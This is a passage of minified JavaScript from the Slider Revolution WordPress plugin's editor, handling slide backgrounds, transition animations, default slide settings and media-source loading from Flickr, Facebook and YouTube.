r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i={background:r}:i.backgroundColor=t.bg.color;break;case"trans":break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.backgroundImage="url("+s+")",e.updateSip&&(a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)));break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.backgroundImage='url("'+s+'")',e.updateSip&&(a.val(t.bg.image),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)))}return i},RVS.F.slideMinLength=function(e){var t=e;e="default"===e||"Default"===e||0===e||"0ms"===e?parseInt(RVS.SLIDER.settings.def.delay,0):parseInt(e,0);var i=10*RVS.F.setSmallestSlideLength({left:e/10});return"Default"===t||0===t||"0ms"===t||"default"===t?"Default":i},RVS.F.getSlideLength=function(e){if(e=void 0===e?RVS.S.slideId:e,void 0===RVS.SLIDER[e])return 800;var t=RVS.SLIDER[e].slide.timeline.delay;return(t=null==(t=null==t||""==t||"default"===t||0==t||"Default"===t?RVS.SLIDER.settings.def.delay:t)||""==t||"default"===t||0==t||"Default"===t?8e3:parseInt(t,0))/10},RVS.F.getSlideAnimParams=function(e){var t=jQuery("#active_transitions_innerwrap li.selected").index();if(t=-1===t?1:t,void 0!==RVS.SLIDER[RVS.S.slideId].slide.timeline[e]){var i=RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t];i=0===t?"default"==i&&"duration"==e?RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i:"default"==i&&"duration"==e?void 0===RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t]?RVS.SLIDER.settings.def.transitionDuration:RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i}else i="default";return i},RVS.F.buildSlideAnimation=function(e){"image"===RVS.SBGS[RVS.S.slideId].n.type&&"loaded"!==RVS.SBGS[RVS.S.slideId].n.loadobj.progress||"loaded"!==RVS.SBGS[RVS.S.slideId].c.loadobj.progress||RVS._R.animateSlide(void 0,RVS._R.convertSlideAnimVals(void 0===e?RVS.SLIDER[RVS.S.slideId].slide.slideChange:e))},RVS.F.slideAnimation=function(e){void 0!==RVS.TL[RVS.S.slideId][e.type]&&void 0!==e.progress&&(RVS.TL[RVS.S.slideId][e.type].progress(.9999),RVS.TL[RVS.S.slideId][e.type].progress(e.progress))},RVS.F.setSlideAnimPresetToCustom=function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset="custom",RVS.F.udpateSelectedSlideAnim()},RVS.F.alternatingSlideAnims=function(){RVS.C.altslcon=void 0===RVS.C.altslcon?jQuery("#sanimation_sfalternates"):RVS.C.altslcon;var e="",t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt;if(void 0!==t&&Array.isArray(t)&&t.length>0)for(var i in t)e+=r(i);RVS.C.altslcon[0].innerHTML=e,RVS.C.altslcon.find(".tos2.slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this)})},RVS.F.updateAlternateSlideAnims=function(){RVS.F.alternatingSlideAnims(),RVS.C.altslcon.find(".tos2.slideAnimSelect").ddTP({placeholder:"Enter or Select"}),RVS.F.updateEasyInputs({container:RVS.C.altslcon,path:RVS.S.slideId+".slide.",trigger:"init"})},RVS.F.clearSBGSAttrs=function(e,t){delete e.help_canvas,delete e.help_ctx,void 0!==e.cube&&(document.body.contains(e.cube.c)&&e.cube.c.parentNode.removeChild(e.cube.c),delete e.cube),tpGS.gsap.set([e.canvas,e.sbg],{x:0,y:0,z:0,rotateX:0,rotateY:0,rotateZ:0}),!0!==t&&(delete e.shadowCTX,delete e.shadowCanvas,delete e.SLOT,delete e.cDIMS,delete e.mDIM,delete e.usebgColor,delete e.usepattern,RVS.F.redrawSlideBG())},RVS.F.showExampleOrSelectedSlideAnim=function(){void 0!==RVS.S.demoSlideAnim?(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c,!0),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n,!0),RVS.TL[RVS.S.slideId].slideRepeat=!0,RVS.F.buildSlideAnimation(m(void 0!==RVS.S.demoSlideAnim.preset?{preset:RVS.S.demoSlideAnim.preset}:{key:RVS.S.demoSlideAnim.key})),RVS.TL[RVS.S.slideId].slide.progress(0).play()):(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n))},RVS.F.warnFilterWithTransitions=function(){"none"!==RVS.SLIDER[RVS.S.slideId].slide.bg.mediaFilter&&"tpbasic"==RVS.SLIDER[RVS.S.slideId].slide.slideChange.e&&RVS.F.showInfo({content:RVS_LANG.filtertransitionissuepre,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})},RVS.F.showHideLayerEditor=function(e){var t;RVS.eMode=void 0===RVS.eMode?{top:"",menu:""}:RVS.eMode,"slidecontent"===e.mode?(RVS.C.vW.classList.add("mode__slidecontent"),RVS.C.vW.classList.remove("mode__slidestyle"),RVS.eMode.top="layer",void 0!==(t=jQuery(".layer_submodule_trigger.selected"))&&!1!==e.openSettings&&RVS.F.openSettings({forms:t.data("forms"),uncollapse:t[0].dataset.collapse})):(RVS.C.vW.classList.remove("mode__slidecontent"),RVS.C.vW.classList.add("mode__slidestyle"),RVS.eMode.top="slide",t=jQuery(".slide_submodule_trigger.selected")),void 0!==t&&t.length>=1&&void 0!==t.data("forms")&&(RVS.eMode.menu=t.data("forms")[0])},RVS.F.makeSlideListSortable=function(){RVS.C.slideList;RVS.C.slideList.hasClass("ui-sortable")&&RVS.C.slideList.sortable("destroy"),n(),RVS.C.slideList.sortable({item:".sortable_slide_list_element",cancel:"#theslidermodule, #newslide, .do_not_sort_slide_list_element",start:function(e,t){RVS.C.vW.classList.add("slides_in_sort"),RVS.C.slideList.sortable("refreshPositions")},stop:function(e,t){RVS.C.vW.classList.remove("slides_in_sort");var i=Array.prototype.slice.call(document.getElementById("slidelist").getElementsByClassName("sortable_slide_list_element")),a=[],r="";for(var s in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(s)&&(""+RVS.SLIDER.slideIDs[s]).indexOf("static_")>=0&&(r=RVS.SLIDER.slideIDs[s]);for(var o in i)i.hasOwnProperty(o)&&a.push(i[o].dataset.ref);a.push(r),RVS.F.updateSliderObj({path:"slideIDs",val:a}),n()}})},RVS.F.updateSlideAnimationView=function(){var e,t;for(e in RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),void 0===RVS.C.sltran&&(RVS.C.sltran={},RVS.C.sltmenu={},RVS.C.sltaddon=void 0===RVS.C.sltaddon?{}:RVS.C.sltaddon,RVS.C.sltran.all_globals=jQuery("#sltrans_all_globals"),RVS.C.sltran.pause=jQuery("#sltrans_pause"),RVS.C.sltran.flow=jQuery("#sltrans_flow"),RVS.C.sltran.in_full_wrap=jQuery("#sltrans_in_full_wrap"),RVS.C.sltran.in_rowcol_wrap=jQuery("#sltrans_in_rowcol_wrap"),RVS.C.sltran.in_ease_wrap=jQuery("#sltrans_in_ease_wrap"),RVS.C.sltran.in_mamo_wrap=jQuery("#sltrans_in_mamo_wrap"),RVS.C.sltran.in_xy_wrap=jQuery("#sltrans_in_xy_wrap"),RVS.C.sltran.in_rzo_wrap=jQuery("#sltrans_in_rzo_wrap"),RVS.C.sltran.in_sxsy_wrap=jQuery("#sltrans_in_sxsy_wrap"),RVS.C.sltran.in_auto_input_wrap=jQuery("#sltrans_in_auto_input_wrap"),RVS.C.sltran.in_filter_input_wrap=jQuery("#sltrans_in_filter_input_wrap"),RVS.C.sltran.filters_wrap=jQuery("#sltrans_filters_wrap"),RVS.C.sltran.d3_wrap=jQuery("#sltrans_3d_wrap"),RVS.C.sltran.out_rowcol_wrap=jQuery("#sltrans_out_rowcol_wrap"),RVS.C.sltran.out_ease_wrap=jQuery("#sltrans_out_ease_wrap"),RVS.C.sltran.out_mask_wrap=jQuery("#sltrans_out_mask_wrap"),RVS.C.sltran.out_xy_wrap=jQuery("#sltrans_out_xy_wrap"),RVS.C.sltran.out_rzo_wrap=jQuery("#sltrans_out_rzo_wrap"),RVS.C.sltran.out_sxsy_wrap=jQuery("#sltrans_out_sxsy_wrap"),RVS.C.sltran.out_full_wrap=jQuery("#sltrans_out_full_wrap"),RVS.C.sltmenu.in=jQuery("#slidein_ts_wrapbrtn"),RVS.C.sltmenu.out=jQuery("#slideout_ts_wrapbrtn"),RVS.C.sltmenu.filter=jQuery("#slidefilter_ts_wrapbrtn"),RVS.C.sltmenu.ddd=jQuery("#slide3d_ts_wrapbrtn")),RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].slt_areas)for(t in RVS.C.sltaddon[e].slt_areas)RVS.C.sltaddon[e].slt_areas.hasOwnProperty(t)&&RVS.C.sltaddon[e].slt_areas[t].hide();for(e in RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].menu)for(t in RVS.C.sltaddon[e].menu)RVS.C.sltaddon[e].menu.hasOwnProperty(t)&&RVS.C.sltaddon[e].menu[t][0].classList.add("disabled");switch(RVS.SLIDER[RVS.S.slideId].slide.slideChange.e){case"none":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].hide();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;case"basic":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].show();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.remove("disabled");break;case"slidingoverlay":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&(jQuery.inArray(e,["in_full_wrap","out_full_wrap","filters_wrap","pause","flow","d3_wrap"])>=0?RVS.C.sltran[e].hide():RVS.C.sltran[e].show());for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;default:RVS.DOC.trigger("updateSlideAnimationViewDefault")}},RVS.F.udpateSelectedSlideAnim=function(e){RVS.S.calledSlideAnimListUpdate||(RVS.S.calledSlideAnimListUpdate=!0,requestAnimationFrame(function(){RVS.S.calledSlideAnimListUpdate=!1,RVS.S.ATI.find(".s_s_preset").removeClass("s_s_preset"),RVS.S.ATIR.find(".s_s_preset").removeClass("s_s_preset");var t=RVS.S.ATIR.find('.presets_listelement[data-key="'+RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset+'"]')[0];if(null!=t){t.classList.add("s_s_preset");var i,a=document.getElementById(t.dataset.grpid),r=document.getElementById(t.dataset.grpid+"_"+t.dataset.grp);null!=a&&(a.classList.add("s_s_preset"),e&&-1==a.className.indexOf("open")&&null!=(i=a.getElementsByClassName("presets_liste_head"))&&i.length>0&&i[0].click()),null!=r&&(r.classList.add("s_s_preset"),e&&-1==r.className.indexOf("open")&&null!=(i=r.getElementsByClassName("presetssgroup_head"))&&i.length>0&&i[0].click())}}))},RVS.F.buildKenBurn=function(){V()},RVS.F.addSlideObj=function(e,t){void 0===e||jQuery.isEmptyObject(e);(e=void 0===e?{}:e)&&e.bg&&-1===["cover","contain","percentage","auto"].indexOf(e.bg.fit)&&(e.bg.fit="cover");var i={};return i.addOns=e.addOns||{},i.version=RVS.ENV.revision,i.static=f(e.static,{isstatic:!1,overflow:"hidden",position:"front",lastEdited:!0}),i.runtime=f(e.runtime,{collapsedGroups:[]}),i.title=f(e.title,"New Slide"),i.child=f(e.child,{parentId:"",language:""}),i.bg=f(e.bg,{type:"trans",color:"#ffffff",externalSrc:"",fit:"cover",fitX:"100",fitY:"100",position:"center center",positionX:"0",positionY:"0",repeat:"no-repeat",image:"",imageId:"",crossOriginVideo:!1,imageFromStream:!1,imageSourceType:"full",imageLib:"nothing",galleryType:"gallery",mpeg:"",ogv:"",webm:"",vimeo:"",youtube:"",mediaFilter:"none",video:{args:"",argsVimeo:"",dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"",endAt:"",fitCover:!0,forceRewind:!0,loop:!0,pausetimer:!1,mute:!0,nextSlideAtEnd:!1,ratio:"16:9",speed:1,volume:0,startAfterTransition:!1},videoId:"",videoFromStream:!1}),void 0!==i&&void 0!==i.bg&&void 0!==i.bg.video&&(i.bg.video.dottedOverlay.indexOf("white")>0&&(i.bg.video.dottedColorB="rgba(255,255,255,255)"),i.bg.video.dottedOverlay.indexOf("twoxtwo")>=0?i.bg.video.dottedOverlay="1":i.bg.video.dottedOverlay.indexOf("threexthree")>=0&&(i.bg.video.dottedOverlay="2")),void 0!==i.bg.video&&void 0!==t&&(i.bg.video.loop=!0===i.bg.video.loop||void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&("loopandnoslidestop"===e.bg.video.loop||"loop"===e.bg.video.loop||!0===e.bg.video.loop||"true"===e.bg.video.loop),i.bg.video.pausetimer=void 0===e.pausetimer||!0!==e.pausetimer&&!1!==e.pausetimer?void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&"loop"===e.bg.video.loop:e.pausetimer,!0===i.bg.video.loop&&!0===i.bg.video.nextSlideAtEnd&&(i.bg.video.loop=!1)),i.thumb=f(e.thumb,{customThumbSrc:"",customThumbSrcId:"",customAdminThumbSrc:"",customAdminThumbSrcId:"",dimension:"orig"}),i.info=f(e.info,{params:[{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10}],description:""}),i.attributes=f(e.attributes,{title:"",titleOption:"media_library",class:"",data:"",id:"",attr:"",alt:"",altOption:"media_library",deeplink:""}),i.publish=f(e.publish,{from:"",to:"",state:"published"}),i.timeline=f(e.timeline,{stopOnPurpose:!1,delay:"Default",loop:{set:!1,repeat:"unlimited",start:2500,end:4500}}),i.timeline.loop=void 0===i.timeline.loop?{set:!1,repeat:"unlimited",start:2500,end:4500}:i.timeline.loop,i.slideChange=void 0!==i.timeline.transition||void 0===e.slideChange?function(e,t){var i=e.transition;if(t)return RVS._R.getSlideAnim_EmptyObject();var a=["duration","rotation","easeIn","easeOut","slots","transition"];void 0!==e.slots&&(e.slots=d(l(e.slots)));void 0!==e.slots&&(e.slots=d(l(e.slots)));"undefined"!==e.transition&&void 0!==e.transition||(e.transition=["fade"]);if("random"===e.transition[0]||"random-static"===e.transition[0]||"random-premium"===e.transition[0]||"random"===e.transition||"random-static"===e.transition||"random-premium"===e.transition){e.transition=["rndany"],e.slots=[1];try{e.duration=void 0===e.duration||void 0===e.duration[0]||e.duration<500||e.duration[0]<500?750:e.duration}catch(e){}}for(var r in a)a.hasOwnProperty(r)&&(e[a[r]]=d(l(e[a[r]])));var s=!1;for(r in RVS.LIB.SLTR.basic)if(RVS.LIB.SLTR.basic.hasOwnProperty(r))for(var o in RVS.LIB.SLTR.basic[r]){if(s)continue;s=o===e.transition[0]}var n=m({key:"fade"==e.transition[0]||"default"==e.transition[0]?"fade":e.transition[0],slot:s?1:void 0!==e.slots&&void 0!==e.slots[0]&&"default"!==e.slots[0]?e.slots[0]:void 0});"3dcurtain-vertical"===e.transition[0]||"3dcurtain-horizontal"===e.transition[0]||"3dcurtain-vertical"===e.transition||"3dcurtain-horizontal"===e.transition?n.speed=void 0===e.duration[0]||"default"===e.duration[0]||"d"==e.duration[0]?500:parseInt(parseInt(e.duration[0])/3):void 0!==e.duration[0]&&"default"!==e.duration[0]&&(n.speed=e.duration[0]);"random"===n.speed&&(n.speed=1e3);void 0!==e.easeIn[0]&&"default"!==e.easeIn[0]&&(n.in.e=e.easeIn[0]);void 0!==e.easeOut[0]&&"default"!==e.easeOut[0]&&(n.out.e=e.easeOut[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.in.r=e.rotation[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.out.r=e.rotation[0]);if(void 0!==i&&Array.isArray(i)&&i.length>1){n.alt=[];for(var r=1;r<i.length;r++)n.alt.push(i[r])}return n}(i.timeline,t):f(e.slideChange,RVS._R.getSlideAnim_EmptyObject()),t&&void 0!==i.slideChange&&void 0!==i.slideChange.in&&1==i.slideChange.in.o&&delete i.slideChange.in.o,i.timeline.transition&&(delete i.timeline.duration,delete i.timeline.slots,delete i.timeline.easeIn,delete i.timeline.easeOut,delete i.timeline.transition,delete i.timeline.rotation),i.visibility=f(e.visibility,{hideAfterLoop:0,hideOnMobile:!1,hideFromNavigation:!1}),i.effects=f(e.effects,{parallax:"-",fade:"default",blur:"default",grayscale:"default"}),i.panzoom=f(e.panzoom,{set:!1,blurStart:0,blurEnd:0,duration:1e4,ease:"none",fitEnd:100,fitStart:100,xEnd:0,yEnd:0,xStart:0,yStart:0,rotateStart:0,rotateEnd:0}),i.seo=f(e.seo,{set:!1,link:"",linkHelp:"auto",slideLink:"nothing",target:"_self",z:"front",type:"regular",tag:"l"}),i.nav=f(e.nav,{arrows:{presets:{}},thumbs:{presets:{}},tabs:{presets:{}},bullets:{presets:{}}}),i},RVS.F.simplifySlide=function(e){return"zone"===e.type?jQuery.extend(!0,{},e):jQuery.extend(!0,{},RVS.F.simplifyObject(RVS.F.addSlideObj(void 0,!0),jQuery.extend(!0,{},e)))},RVS.F.simplifyAllSlide=function(e){for(var t in window.__Slides={},RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(t)&&(!RVS.F.isNumeric(RVS.SLIDER.slideIDs[t])&&RVS.SLIDER.slideIDs[t].indexOf("static")>=0||(window.__Slides[RVS.SLIDER.slideIDs[t]]=RVS.F.simplifySlide(RVS.SLIDER[RVS.SLIDER.slideIDs[t]].slide)))},RVS.F.expandSlide=function(e){return jQuery.extend(!0,RVS.F.addSlideObj(),e)},RVS.F.getImgWithCORS=function(e,t){URL&&"function"==typeof URL?new URL(t,window.location.href).origin!==window.location.origin&&(e.crossOrigin="anonymous"):console.warn("URL object is not available")},RVS.F.getSlideTransitionDefaults=function(e){return m(e)}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR SLIDER JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.S.ulDIM={width:0,height:0},function(){void 0===tpGS.SFXBounceLite&&(tpGS.SFXBounceLite=tpGS.CustomBounce.create("SFXBounceLite",{strength:.3,squash:1,squashID:"SFXBounceLite-squash"})),void 0===tpGS.SFXBounceSolid&&(tpGS.SFXBounceSolid=tpGS.CustomBounce.create("SFXBounceSolid",{strength:.5,squash:2,squashID:"SFXBounceSolid-squash"})),void 0===tpGS.SFXBounceStrong&&(tpGS.SFXBounceStrong=tpGS.CustomBounce.create("SFXBounceStrong",{strength:.7,squash:3,squashID:"SFXBounceStrong-squash"})),void 0===tpGS.SFXBounceExtrem&&(tpGS.SFXBounceExtrem=tpGS.CustomBounce.create("SFXBounceExtrem",{strength:.9,squash:4,squashID:"SFXBounceExtrem-squash"})),void 0===tpGS.BounceLite&&(tpGS.BounceLite=tpGS.CustomBounce.create("BounceLite",{strength:.3})),void 0===tpGS.BounceSolid&&(tpGS.BounceSolid=tpGS.CustomBounce.create("BounceSolid",{strength:.5})),void 0===tpGS.BounceStrong&&(tpGS.BounceStrong=tpGS.CustomBounce.create("BounceStrong",{strength:.7})),void 0===tpGS.BounceExtrem&&(tpGS.BounceExtrem=tpGS.CustomBounce.create("BounceExtrem",{strength:.9}));var e,t,i,a,r,s,o,n,l,d,S,c,p,u,R={width:0,height:0},V={width:0,height:0},y={left:0,top:0},m={x:0,y:0};function f(e,t){var i='<div id="globalskin_colorrule_'+t+'">';null!==e&&(i+='<input type="text" value="'+e.alias+'" class="globalskin_alias easyinit sliderinput" data-r="skins.colors.'+t+'.alias">',i+='<input class="my-color-field skininput easyinit" data-evt="updateAllSkinColors" data-evtparam="'+t+'" data-visible="true" data-editing="Global Skin Color" name="skin-color-'+t+'" data-mode="'+(function(e){var t=!1;for(var i in e.ref)e.ref.hasOwnProperty(i)&&(t=!0===t||RVS.F.noGradient(e.ref[i].r));return t}(e)?"single":"full")+'" id="sr_skin_color_'+t+'" data-r="skins.colors.'+t+'.v" type="text" value="'+e.v+'">',i+='<div style="margin-left:5px" data-evt="deleteSkinColor" data-evtparam="'+t+'" class="'+(t<1?"disabled":"")+' callEventButton basic_action_button onlyicon "><i class="material-icons">delete</i></div>',i+="</div>",i=jQuery(i),RVS.ENV.skinColors.append(i),RVS.F.initTpColorBoxes(i.find(".my-color-field")))}function g(e){void 0!==window.initQuickGuide&&window.initQuickGuide.page!=window.initQuickGuide.active&&(RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."}),jQuery("#mcg_page_"+window.initQuickGuide.page).addClass("mcg_selected"),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.page,.5,{x:-1===e?"-100%":"100%"},{x:"0%",ease:"power3.inOut"}),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.active,.5,{x:"0%"},{x:-1===e?"100%":"-100%",ease:"power3.inOut",onComplete:function(){jQuery("#mcg_page_"+window.initQuickGuide.active).removeClass("mcg_selected"),window.initQuickGuide.active=window.initQuickGuide.page}}))}function h(e){1==RVS.S.TRTIS_initied||void 0!==e&&"init"!==e?"update"===e&&1==RVS.S.TRTIS_initied&&(clearTimeout(RVS.S.scrollUpdateTimer),RVS.S.scrollUpdateTimer=setTimeout(function(){RVS.C.rb.RSScroll("update"),jQuery("#the_right_toolbar_inner").RSScroll("update")},50)):(RVS.S.rb_ScrollX=0,RVS.S.rb_ScrollY=0,p=jQuery("#settings_sticky_info"),RVS.C.rb.RSScroll({wheelPropagation:!0,minScrollbarLength:100}),jQuery("#the_right_toolbar_inner").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}).on("ps-scroll-y",function(){this.scrollTop>50?p.show():p.hide(),RVS.S.respInfoBar&&RVS.S.respInfoBar.toolbar&&null!==RVS.S.respInfoBar.toolbar[0]&&(RVS.S.respInfoBar.toolbar[0].style.display="none")}),RVS.C.rb.on("ps-scroll-x",function(){RVS.S.rb_ScrollX=m.x=this.scrollLeft,RVS.F.setRulers()}),RVS.C.rb.on("ps-scroll-y",function(){m.x=this.scrollLeft,m.y=this.scrollTop,RVS.S.rb_ScrollY=m.y=this.scrollTop,RVS.F.setRulers()}),RVS.S.TRTIS_initied=!0)}function v(e,t){("force"===t||u||void 0===u)&&("flickr"===RVS.SLIDER.settings.sourcetype&&w(),"facebook"===RVS.SLIDER.settings.sourcetype&&b(),"youtube"===RVS.SLIDER.settings.sourcetype&&I()),u=!1,RVS.DOC.trigger("updatesliderthumb")}function _(e){jQuery("rs-loader").css("background","").find("div").css("background","");var t,i=parseInt(RVS.SLIDER.settings.layout.spinner.type,10);if(NaN===i||i<6)t='<div class="dot1"></div><div class="dot2"></div><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div>';else{var a,r=[10,0,4,2,5,9,0,4,4,2][i-6];if(t='<div class="rs-spinner-inner"',e||(e=RVS.SLIDER.settings.layout.spinner.color),7===i)-1!==e.search("#")?a=RSColor.processRgba(e):-1!==e.search("rgb")&&(a=RSColor.rgbValues(e)).length>2&&(a=RSColor.rgbString(a[0].trim(),a[1].trim(),a[2].trim())),a&&"string"==typeof e&&(-1===(a=a.replace(")",", ")).search("rgba")&&(a=a.replace("rgb","rgba")),t+=' style="border-top-color: '+a+"0.65); border-bottom-color: "+a+"0.15); border-left-color: "+a+"0.65); border-right-color: "+a+'0.15)"');else 12===i&&(t+=' style="background:'+e+'"');t+=">";for(var s=0;s<r;s++)s>0&&(t+=" "),t+='<span style="background:'+e+'"></span>';t+="</div>"}return t}function L(e){e=void 0===e?RVS.SLIDER.settings.layout.spinner.color:e;var t=RVS.SLIDER.settings.layout.spinner.type;0!=t&&5!=t||(e="#ffffff");var i=jQuery("rs-loader");0==t||1==t||2==t||5==t?i.css({backgroundColor:e}):3==t||4==t?(i.css({backgroundColor:"transparent"}),i.find("div").css({backgroundColor:e})):i.html(_(e))}function w(){var e=RVS.SLIDER.settings.source.flickr;if("photosets"==e.type)if(""!=e.userURL&&""!=e.apiKey){var t={url:e.userURL,key:e.apiKey,count:e.count,set:e.photoSet};RVS.F.ajaxRequest("get_flickr_photosets",t,function(t){jQuery("#sr_src_flickr_photoset").html(t.data.html),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:e.photoSet})})}else jQuery("#sr_src_flickr_photoset").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:""})}function b(){var e=RVS.SLIDER.settings.source.facebook;if("album"==e.typeSource)if(""!=e.appId&&""!=e.page_id){var t={app_id:e.appId,page_id:e.page_id};RVS.F.ajaxRequest("get_facebook_photosets",t,function(t){jQuery("#sr_src_facebok_album").html(t.html),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:e.album})})}else jQuery("#sr_src_facebok_album").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:""})}function I(){var e=RVS.SLIDER.settings.source.youtube;if("playlist"==e.typeSource)if(""!=e.api&&""!=e.channelId){var t={api:e.api,id:e.channelId,playlist:e.playList};RVS.F.ajaxRequest("get_youtube_playlists",t,function(t){if(jQuery("#sr_src_youtube_playlist").html(t.data.html),""===e.playList){var i=jQuery("#sr_src_youtube_playlist option").first();e.playList=i[0].value}RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:e.playList})})}else jQuery("#sr_src_youtube_playlist").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:""})}function F(e){var t=!1,i={w:RVS.F.GW("d"),h:RVS.SLIDER.settings.size.height.d};for(var a in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&(!t&&RVS.SLIDER.settings.size.custom[RVS.V.sizes[a]]&&(i.w=RVS.F.GW(RVS.V.sizes[a]),i.h=parseInt(RVS.SLIDER.settings.size.height[RVS.V.sizes[a]],0)),RVS.V.sizes[a]===e&&(t=!0));return i}function D(t,i){var a=RVS.SLIDER.settings.size.custom[RVS.screen],r=F(RVS.screen),s=a?RVS.F.GW(RVS.screen):Math.min(r.w,RVS.ENV.grid_sizes[RVS.screen]),n=a?parseInt(RVS.SLIDER.settings.size.height[RVS.screen],0):s/r.w*r.h,l="fullscreen"===RVS.SLIDER.settings.layouttype?RVS.SLIDER.settings.size.minHeightFullScreen:RVS.SLIDER.settings.size.minHeight,d="100%",S=n/s,p=Math.max(RVS.C.rb[0].offsetWidth-40,s),u="carousel"===RVS.SLIDER.settings.type&&"v"===RVS.SLIDER.settings.carousel.orientation;RVS.SLIDER.settings.carousel.justify&&"carousel"===RVS.SLIDER.settings.type?RVS.C.tRC.classList.add("_just_carousel_"):RVS.C.tRC.classList.remove("_just_carousel_"),l="none"!==l&&RVS.F.isNumeric()?l:0,l="fullscreen"===RVS.SLIDER.settings.layouttype?Math.max(Math.max(l,RVS.S.winh-RVS.ENV.globVerOffset-65),n):Math.max(l,n),l=RVS.SLIDER.settings.size.respectAspectRatio?Math.max(RVS.C.rb.width(),s)*S:l,RVS.F.updateMinSliderHeights(),l=Math.max(l,c),S=(n=Math.max(n,c))/s;var R=s,V=parseInt(RVS.SLIDER.settings.layout.bg.padding,0)||0;RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),RVS.F.isNumeric(RVS.SLIDER.settings.size.maxWidth)&&RVS.SLIDER.settings.size.maxWidth>0&&(R=Math.min(parseInt(RVS.SLIDER.settings.size.maxWidth,0),s)+"px"),tpGS.gsap.set([e,".layer_grid"],{width:s+"px",maxWidth:"none",height:n+"px"}),tpGS.gsap.set(RVS.C.UL,{minWidth:parseInt(R,0)+parseInt(V,0)+"px",maxWidth:"none",width:d,minHeight:parseInt(l,0)+parseInt(V,0)}),RVS.F.CVERT()?(RVS.S.vertCarOff=40,RVS.S.ulDIM={width:RVS.C.UL.width(),height:Math.max(Math.min(RVS.S.winh-300,2*parseInt(RVS.SLIDER.settings.size.height[RVS.screen],0)),RVS.C.UL.height())}):(RVS.S.vertCarOff=0,RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()}),RVS.RMD="carousel"===RVS.SLIDER.settings.type?{width:u?p:s,height:n}:{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height};var y=Math.max(0,RVS.S.ulDIM.width/2-(u?p:s)/2),m=Math.max(0,(RVS.S.ulDIM.height-n)/2);tpGS.gsap.set(RVS.C.UL,{minHeight:RVS.S.ulDIM.height+RVS.S.dim_offsets.carouseloffset+RVS.S.dim_offsets.navtop+RVS.S.dim_offsets.navbottom,minWidth:u?p:R}),m=m+RVS.S.dim_offsets.carouseltop+RVS.S.dim_offsets.navtop,y=Math.max(0,y),m=Math.max(0,m);var 